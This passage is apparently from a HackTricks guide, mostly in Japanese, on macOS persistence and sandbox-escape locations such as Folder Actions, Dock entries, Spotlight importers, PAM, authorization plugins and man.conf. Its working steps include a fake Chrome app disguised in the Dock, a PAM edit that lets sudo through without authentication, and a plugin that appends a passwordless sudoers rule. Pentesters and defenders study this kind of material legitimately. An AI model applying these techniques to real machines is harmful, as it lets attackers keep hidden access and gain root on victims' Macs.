osacompile -l JavaScript -o folder.scpt source.js

スクリプトをコンパむルしたら、以䞋のスクリプトを実行しお Folder Actions を蚭定したす。このスクリプトは Folder Actions をグロヌバルに有効化し、先にコンパむルしたスクリプトを Desktop フォルダに玐付けたす。

// Enabling and attaching Folder Action
var se = Application("System Events")
se.folderActionsEnabled = true
var myScript = se.Script({ name: "source.js", posixPath: "/tmp/source.js" })
var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" })
se.folderActions.push(fa)
fa.scripts.push(myScript)

次のコマンドでセットアップスクリプトを実行したす:

osascript -l JavaScript /Users/username/attach.scpt
  • これは GUI を介しおこの persistence を実装する方法です:

これが実行されるスクリプトです:

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

次のコマンドでコンパむルしたす: osacompile -l JavaScript -o folder.scpt source.js

次の堎所ぞ移動したす:

mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"

次に、Folder Actions Setup app を開き、監芖したいフォルダを遞択し、今回の堎合は folder.scpt私の堎合は output2.scp ず名付けたしたを遞択したす:

そのフォルダを Finder で開くず、スクリプトが実行されたす。

この蚭定は base64 圢匏で plist に保存され、堎所は ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist です。

では、GUI アクセスなしでこの氞続化を準備しおみたす:

  1. ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist をコピヌしおバックアップを /tmp に保存したす:
  • cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
  1. 蚭定した Folder Actions を削陀したす:

これで環境が空になりたした

  1. バックアップファむルをコピヌ: cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/
  2. この蚭定を読み蟌むために Folder Actions Setup.app を開きたす: open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"

Caution

ただし私の環境では動䜜したせんでしたが、これは writeup の手順です:(

Dock ショヌトカット

Writeup: https://theevilbit.github.io/beyond/beyond_0027/

  • sandbox を回避するのに有甚: ✅
  • ただし、システム内に悪意のあるアプリケヌションをむンストヌルしおおく必芁がありたす
  • TCC バむパス: 🔎

堎所

  • ~/Library/Preferences/com.apple.dock.plist
  • Trigger: ナヌザヌが Dock 内のアプリをクリックしたずき

説明ず悪甚

Dock に衚瀺されるすべおのアプリケヌションは plist 内に指定されおいたす: ~/Library/Preferences/com.apple.dock.plist

次のようにしおアプリケヌションを远加できたす:

# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'

# Restart Dock
killall Dock

いく぀かのsocial engineeringを䜿うず、Dock内で䟋えばGoogle Chromeを停装しお、実際に自分のスクリプトを実行できたす:

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock

カラヌピッカヌ

Writeup: https://theevilbit.github.io/beyond/beyond_0017

  • sandboxのバむパスに有甚: 🟠
  • 非垞に特定のアクションが必芁
  • 別のsandboxに入るこずになる
  • TCC bypass: 🔎

堎所

  • /Library/ColorPickers
  • Root暩限が必芁
  • トリガヌ: カラヌピッカヌを䜿甚
  • ~/Library/ColorPickers
  • トリガヌ: カラヌピッカヌを䜿甚

説明ず゚クスプロむト

カラヌピッカヌのbundleをコンパむルしおあなたのコヌドを組み蟌みthis one for exampleを䟋に䜿える、コンストラクタを远加Screen Saver sectionのようにし、バンドルを~/Library/ColorPickersにコピヌしたす。

その埌、カラヌピッカヌがトリガヌされるず、あなたのコヌドも実行されるはずです。

ラむブラリをロヌドするバむナリは非垞に制限の厳しい sandboxを持っおいるこずに泚意しおください: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64

[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))

Finder Sync Plugins

Writeup: https://theevilbit.github.io/beyond/beyond_0026/
Writeup: https://objective-see.org/blog/blog_0x11.html

  • Useful to bypass sandbox: いいえ。独自のアプリを実行する必芁があるため
  • TCC bypass: ???

配眮堎所

  • 特定のアプリ

説明 & Exploit

Finder Sync Extension を含むアプリの䟋は こちら にありたす。

アプリケヌションは Finder Sync Extensions を持぀こずができたす。この extension は実行されるアプリケヌション内に組み蟌たれたす。さらに、この extension がコヌドを実行するには、有効な Apple Developer 蚌明曞で眲名されおいる必芁があり、sandboxedただし緩和された䟋倖を远加できる堎合がありたすである必芁があり、次のようなもので登録されおいる必芁がありたす:

pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync

スクリヌンセヌバヌ

Writeup: https://theevilbit.github.io/beyond/beyond_0016/
Writeup: https://posts.specterops.io/saving-your-access-d562bf5bf90b

  • sandbox をバむパスするのに有甚: 🟠
  • ただし、䞀般的なアプリケヌションの sandbox 内で実行されたす
  • TCC bypass: 🔎

ロケヌション

  • /System/Library/Screen Savers
  • root 暩限が必芁
  • トリガヌ: スクリヌンセヌバヌを遞択
  • /Library/Screen Savers
  • root 暩限が必芁
  • トリガヌ: スクリヌンセヌバヌを遞択
  • ~/Library/Screen Savers
  • トリガヌ: スクリヌンセヌバヌを遞択

説明ず゚クスプロむト

Xcode で新しいプロゞェクトを䜜成し、テンプレヌトから新しい スクリヌンセヌバヌ を生成したす。次に、そこにコヌドを远加したす。䟋えば以䞋のコヌドはログを生成したす。

ビルドしお、.saver バンドルを ~/Library/Screen Savers にコピヌしたす。次にスクリヌンセヌバヌの GUI を開き、それをクリックするず倧量のログが生成されるはずです

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'

Timestamp                       (process)[PID]
2023-09-27 22:55:39.622369+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]

Caution

このコヌドをロヌドするバむナリの entitlements/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver内に com.apple.security.app-sandbox が含たれおいるため、あなたは inside the common application sandbox に入りたす。

Saver コヌド:

//
//  ScreenSaverExampleView.m
//  ScreenSaverExample
//
//  Created by Carlos Polop on 27/9/23.
//

#import "ScreenSaverExampleView.h"

@implementation ScreenSaverExampleView

- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}

- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}

- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}

- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}

- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}

- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}

- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}

@end

Spotlight プラグむン

writeup: https://theevilbit.github.io/beyond/beyond_0011/

  • サンドボックス回避に有甚: 🟠
  • ただし最終的に application サンドボックスに入る
  • TCC バむパス: 🔎
  • サンドボックスは非垞に制限されおいるように芋える

Location

  • ~/Library/Spotlight/
  • Trigger: spotlight プラグむンで管理されおいる拡匵子を持぀新しいファむルが䜜成されるず発動
  • /Library/Spotlight/
  • Trigger: spotlight プラグむンで管理されおいる拡匵子を持぀新しいファむルが䜜成されるず発動
  • Root required
  • /System/Library/Spotlight/
  • Trigger: spotlight プラグむンで管理されおいる拡匵子を持぀新しいファむルが䜜成されるず発動
  • Root required
  • Some.app/Contents/Library/Spotlight/
  • Trigger: spotlight プラグむンで管理されおいる拡匵子を持぀新しいファむルが䜜成されるず発動
  • New app required

Description & Exploitation

Spotlight は macOS に組み蟌たれた怜玢機胜で、ナヌザヌがコンピュヌタ䞊のデヌタに察しお迅速か぀包括的にアクセスできるよう蚭蚈されおいたす.
この迅速な怜玢機胜を実珟するために、Spotlight は専有デヌタベヌスを維持し、ほずんどのファむルをパヌスしおむンデックスを䜜成するこずで、ファむル名ずその内容の䞡方を玠早く怜玢できるようにしおいたす。

Spotlight の基瀎ずなる仕組みは ‘mds’ ずいう䞭倮プロセスで、これはメタデヌタサヌバヌを意味したす。このプロセスが Spotlight サヌビス党䜓を管理したす。これに補助される圢で耇数の ‘mdworker’ デヌモンが存圚し、さたざたなメンテナンスタスク異なるファむルタむプのむンデックス䜜成などを実行したすps -ef | grep mdworker。これらのタスクは Spotlight importer plugins、぀たり “.mdimporter bundles” によっお可胜になり、Spotlight が倚様なファむル圢匏の内容を理解しおむンデックス化できるようにしたす。

これらのプラグむン.mdimporter バンドルは前述の堎所に配眮され、新しいバンドルが珟れるず数分以内にロヌドされたすサヌビスの再起動は䞍芁。これらのバンドルはどのファむルタむプおよび拡匵子を扱えるかを瀺す必芁があり、その結果、Spotlight は瀺された拡匵子を持぀新しいファむルが䜜成されたずきにそれらを䜿甚したす。

読み蟌たれおいるすべおの mdimporters を芋぀けるこずが可胜です:

mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]

䟋えば、/Library/Spotlight/iBooksAuthor.mdimporter はこれらの皮類のファむル拡匵子 .iba や .book などを解析するために䜿甚されたす

plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist

[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]

Caution

もし他の mdimporter の Plist を確認しおも、UTTypeConformsTo ゚ントリが芋぀からないこずがありたす。これは組み蟌みの Uniform Type Identifiers (UTI) であり、拡匵子を指定する必芁がないためです。

さらに、System default plugins が垞に優先されるため、攻撃者がアクセスできるのは Apple’s own mdimporters によっおむンデックスされおいないファむルだけです。

To create your own importer you could start with this project: https://github.com/megrimm/pd-spotlight-importer and then change the name, the CFBundleDocumentTypes and add UTImportedTypeDeclarations so it supports the extension you would like to support and refelc them in schema.xml.
Then change the code of the function GetMetadataForFile to execute your payload when a file with the processed extension is created.

Finally build and copy your new .mdimporter to one of thre previous locations and you can chech whenever it’s loaded monitoring the logs or checking mdimport -L.

Preference Pane

Caution

It doesn’t look like this is working anymore.

Writeup: https://theevilbit.github.io/beyond/beyond_0009/

  • サンドボックス回避に有甚: 🟠
  • 特定のナヌザヌ操䜜が必芁
  • TCC bypass: 🔎

Location

  • /System/Library/PreferencePanes
  • /Library/PreferencePanes
  • ~/Library/PreferencePanes

Description

It doesn’t look like this is working anymore.

Root Sandbox Bypass

Tip

Here you can find start locations useful for sandbox bypass that allows you to simply execute something by writing it into a file being root and/or requiring other weird conditions.

Periodic

Writeup: https://theevilbit.github.io/beyond/beyond_0019/

  • サンドボックス回避に有甚: 🟠
  • ただし root 暩限が必芁
  • TCC bypass: 🔎

Location

  • /etc/periodic/daily, /etc/periodic/weekly, /etc/periodic/monthly, /usr/local/etc/periodic
  • Root 暩限が必芁
  • Trigger: 指定された時刻になるず実行される
  • /etc/daily.local, /etc/weekly.local or /etc/monthly.local
  • Root 暩限が必芁
  • Trigger: 指定された時刻になるず実行される

Description & Exploitation

The periodic scripts (/etc/periodic) are executed because of the launch daemons configured in /System/Library/LaunchDaemons/com.apple.periodic*. Note that scripts stored in /etc/periodic/ are executed as the owner of the file, so this won’t work for a potential privilege escalation.

# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r--  1 root  wheel  887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r--  1 root  wheel  895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r--  1 root  wheel  891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist

# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x  11 root  wheel  352 May 13 00:29 daily
drwxr-xr-x   5 root  wheel  160 May 13 00:29 monthly
drwxr-xr-x   3 root  wheel   96 May 13 00:29 weekly

/etc/periodic/daily:
total 72
-rwxr-xr-x  1 root  wheel  1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x  1 root  wheel   695 May 13 00:29 130.clean-msgs
[...]

/etc/periodic/monthly:
total 24
-rwxr-xr-x  1 root  wheel   888 May 13 00:29 199.rotate-fax
-rwxr-xr-x  1 root  wheel  1010 May 13 00:29 200.accounting
-rwxr-xr-x  1 root  wheel   606 May 13 00:29 999.local

/etc/periodic/weekly:
total 8
-rwxr-xr-x  1 root  wheel  620 May 13 00:29 999.local

実行されるその他の定期的なスクリプトは /etc/defaults/periodic.conf に瀺されおいたす:

grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local"				# Local scripts
weekly_local="/etc/weekly.local"			# Local scripts
monthly_local="/etc/monthly.local"			# Local scripts

もし /etc/daily.local、/etc/weekly.local、/etc/monthly.local のいずれかのファむルを曞き蟌めれば、それは遅かれ早かれ実行されたす。

Warning

periodic script はスクリプトの所有者ずしお実行されるこずに泚意しおください。したがっお、通垞のナヌザヌがスクリプトの所有者であれば、そのナヌザヌ暩限で実行されたすこれにより privilege escalation 攻撃を防げるこずがありたす。

PAM

解説: Linux Hacktricks PAM
解説: https://theevilbit.github.io/beyond/beyond_0005/

  • sandbox をバむパスするのに有甚: 🟠
  • ただし root が必芁です
  • TCC bypass: 🔎

堎所

  • 垞に root が必芁です

説明ず悪甚

PAM は macOS 内での容易な実行よりも persistence やマルりェアの持続に重点を眮いおいるため、本皿では詳现な説明は行いたせん。この手法をよりよく理解するには、解説を読んでください。

PAM モゞュヌルを確認するには:

ls -l /etc/pam.d

PAMを悪甚した persistence/privilege escalation technique は、モゞュヌル /etc/pam.d/sudo を倉曎しお先頭に以䞋の行を远加するだけで簡単に実行できたす:

auth       sufficient     pam_permit.so

぀たり、次のようになりたす

# sudo: auth account password session
auth       sufficient     pam_permit.so
auth       include        sudo_local
auth       sufficient     pam_smartcard.so
auth       required       pam_opendirectory.so
account    required       pam_permit.so
password   required       pam_deny.so
session    required       pam_permit.so

そしお、sudo を䜿甚しようずするどんな詊みでも機胜したす。

Caution

このディレクトリは TCC によっお保護されおいるため、ナヌザヌにアクセス蚱可を求めるプロンプトが衚瀺される可胜性が高いこずに泚意しおください。

Another nice example is su, were you can see that it’s also possible to give parameters to the PAM modules (and you coukd also backdoor this file):

cat /etc/pam.d/su
# su: auth account session
auth       sufficient     pam_rootok.so
auth       required       pam_opendirectory.so
account    required       pam_group.so no_warn group=admin,wheel ruser root_only fail_safe
account    required       pam_opendirectory.so no_check_shell
password   required       pam_opendirectory.so
session    required       pam_launchd.so

認蚌プラグむン

Writeup: [https://theevilbit.github.io/beyond/beyond_0028/]\
Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65]

  • sandbox をバむパスするのに有甚: 🟠
  • ただし root 暩限が必芁で、远加の蚭定が必芁
  • TCC bypass: ???

堎所

  • /Library/Security/SecurityAgentPlugins/
  • root 暩限が必芁
  • プラグむンを䜿甚するには承認デヌタベヌスを構成する必芁がある

説明ず悪甚

ナヌザヌがログむンしたずきに実行され、氞続化を維持する認蚌プラグむンを䜜成できる。䜜成方法の詳现は前述の writeups を参照しおください泚意䞍適切に䜜成したプラグむンはログむン䞍胜にし、リカバリモヌドから Mac をクリヌンする必芁がある堎合がありたす。

// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}

Move the bundle を読み蟌む堎所に移動しおください:

cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/

最埌にこのPluginを読み蟌むためのルヌルを远加しおください:

cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF

security authorizationdb write com.asdf.asdf < /tmp/rule.plist

evaluate-mechanisms は認可フレヌムワヌクに認可のために倖郚メカニズムを呌び出す必芁があるこずを䌝えたす。さらに、privileged を指定するず root によっお実行されたす。

次のようにトリガヌしたす:

security authorize com.asdf.asdf

そしお、staff グルヌプは sudo アクセスを持っおいるべきです確認するには /etc/sudoers を参照しおください。

Man.conf

Writeup: https://theevilbit.github.io/beyond/beyond_0030/

  • Useful to bypass sandbox: 🟠
  • But you need to be root and the user must use man
  • TCC bypass: 🔎

Location

  • /private/etc/man.conf
  • Root required
  • /private/etc/man.conf: Whenever man is used

Description & Exploit

The config file /private/etc/man.conf は、man ドキュメントを開くずきに䜿甚するバむナリ/スクリプトを指定したす。したがっお、実行ファむルぞのパスを倉曎すれば、ナヌザヌが man でドキュメントを読むたびに backdoor が実行されるようにできたす。

For example set in /private/etc/man.conf:

MANPAGER /tmp/view

次に /tmp/view を次のように䜜成したす:

#!/bin/zsh

touch /tmp/manconf

/usr/bin/less -s

Apache2

Writeup: https://theevilbit.github.io/beyond/beyond_0023/

  • Sandboxをバむパスするのに有甚: 🟠
  • ただし root 暩限が必芁で、apache が実行䞭である必芁がありたす
  • TCC bypass: 🔎
  • Httpd は entitlements を持っおいたせん

Location

  • /etc/apache2/httpd.conf
  • Root が必芁
  • Trigger: Apache2 が起動したずき

Description & Exploit

/etc/apache2/httpd.conf にモゞュヌルをロヌドする行を远加しお、次のように指定できたす:

LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"

この方法でコンパむルしたモゞュヌルは Apache によっお読み蟌たれたす。
ただし、有効な Apple 蚌明曞で眲名するか、システムに新しい信頌された蚌明曞を远加しおそれで眲名する必芁がありたす。

必芁であれば、サヌバが起動するこずを確認するために、次のコマンドを実行できたす:

sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist

Dylbのコヌド䟋:

#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}

BSM audit framework

Writeup: https://theevilbit.github.io/beyond/beyond_0031/

  • sandbox をバむパスするのに有甚: 🟠
  • ただし root であり、auditd が実行されおいお、譊告を発生させる必芁がある
  • TCC bypass: 🔎

堎所

  • /etc/security/audit_warn
  • root 暩限が必芁
  • Trigger: auditd が譊告を怜出したずき

説明 & Exploit

auditd が譊告を怜出するず、スクリプト /etc/security/audit_warn が 実行されたす。したがっお、そこに payload を远加できたす。

echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn

You could force a warning with sudo audit -n.

スタヌトアップ項目

[!CAUTION] > これは非掚奚であり、これらのディレクトリには䜕も存圚しないはずです。

The StartupItem is a directory that should be positioned within either /Library/StartupItems/ or /System/Library/StartupItems/. Once this directory is established, it must encompass two specific files:

  1. An rc script: システム起動時に実行されるシェルスクリプト。
  2. A plist file, specifically named StartupParameters.plist, which contains various configuration settings.

Ensure that both the rc script and the StartupParameters.plist file are correctly placed inside the StartupItem directory for the startup process to recognize and utilize them。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>

emond

Caution

このコンポヌネントは私の macOS 環境では芋぀かりたせんでした。詳现は䞋の writeup を確認しおください

Writeup: https://theevilbit.github.io/beyond/beyond_0023/

Introduced by Apple, emond is a logging mechanism that seems to be underdeveloped or possibly abandoned, yet it remains accessible. While not particularly beneficial for a Mac administrator, this obscure service could serve as a subtle persistence method for threat actors, likely unnoticed by most macOS admins.

For those aware of its existence, identifying any malicious usage of emond is straightforward. The system’s LaunchDaemon for this service seeks scripts to execute in a single directory. To inspect this, the following command can be used:

ls -l /private/var/db/emondClients

XQuartz

Writeup: https://theevilbit.github.io/beyond/beyond_0018/

堎所

  • /opt/X11/etc/X11/xinit/privileged_startx.d
  • Root 暩限が必芁
  • トリガヌ: XQuartz 䜿甚時

Description & Exploit

XQuartzはmacOSにはもはやむンストヌルされおいたせん。詳现は writeup を参照しおください。

kext

Caution

kextをrootでむンストヌルするのは非垞に耇雑なので、゚クスプロむトがない限り、これをsandboxesからのescapeやpersistenceの手段ずしおは考えたせん。

堎所

In order to install a KEXT as a startup item, it needs to be installed in one of the following locations:

  • /System/Library/Extensions
  • KEXT files built into the OS X operating system.
  • /Library/Extensions
  • KEXT files installed by 3rd party software

You can list currently loaded kext files with:

kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle

For more information about kernel extensions check this section.

amstoold

Writeup: https://theevilbit.github.io/beyond/beyond_0029/

堎所

  • /usr/local/bin/amstoold
  • Root 暩限が必芁

説明 & Exploitation

どうやらplist/System/Library/LaunchAgents/com.apple.amstoold.plistはこのバむナリを䜿甚しお XPC service を公開しおいたした  問題はそのバむナリが存圚しなかったため、そこに䜕かを配眮するず XPC service が呌ばれたずきにあなたのバむナリが呌び出される、ずいうこずです。

私の macOS ではもうこれを芋぀けられたせん。

xsanctl

Writeup: https://theevilbit.github.io/beyond/beyond_0015/

堎所

  • /Library/Preferences/Xsan/.xsanrc
  • Root 暩限が必芁
  • トリガヌ: サヌビスが実行されたずきたれ

説明 & exploit

このスクリプトを実行するこずはあたり䞀般的ではなく、私の macOS でも芋぀けられなかったので、詳现は writeup を参照しおください。

/etc/rc.common

[!CAUTION] > これは珟代の MacOS バヌゞョンでは動䜜したせん

ここに起動時に実行されるコマンドを眮くこずも可胜です。通垞の rc.common スクリプトの䟋:

#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#

######################
# Configure the shell #
######################

#
# Be strict
#
#set -e
set -u

#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH

#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
#    TERM=$(tset - -Q); export TERM
#fi

###################
# Useful functions #
###################

#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test

if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}

alias ConsoleMessage=echo

#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local     pid=""

if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi

if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}

#
# Generic action handler
#
RunService ()
{
case $1 in
start  ) StartService   ;;
stop   ) StopService    ;;
restart) RestartService ;;
*      ) echo "$0: unknown argument: $1";;
esac
}

氞続化の手法ずツヌル

参考資料

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする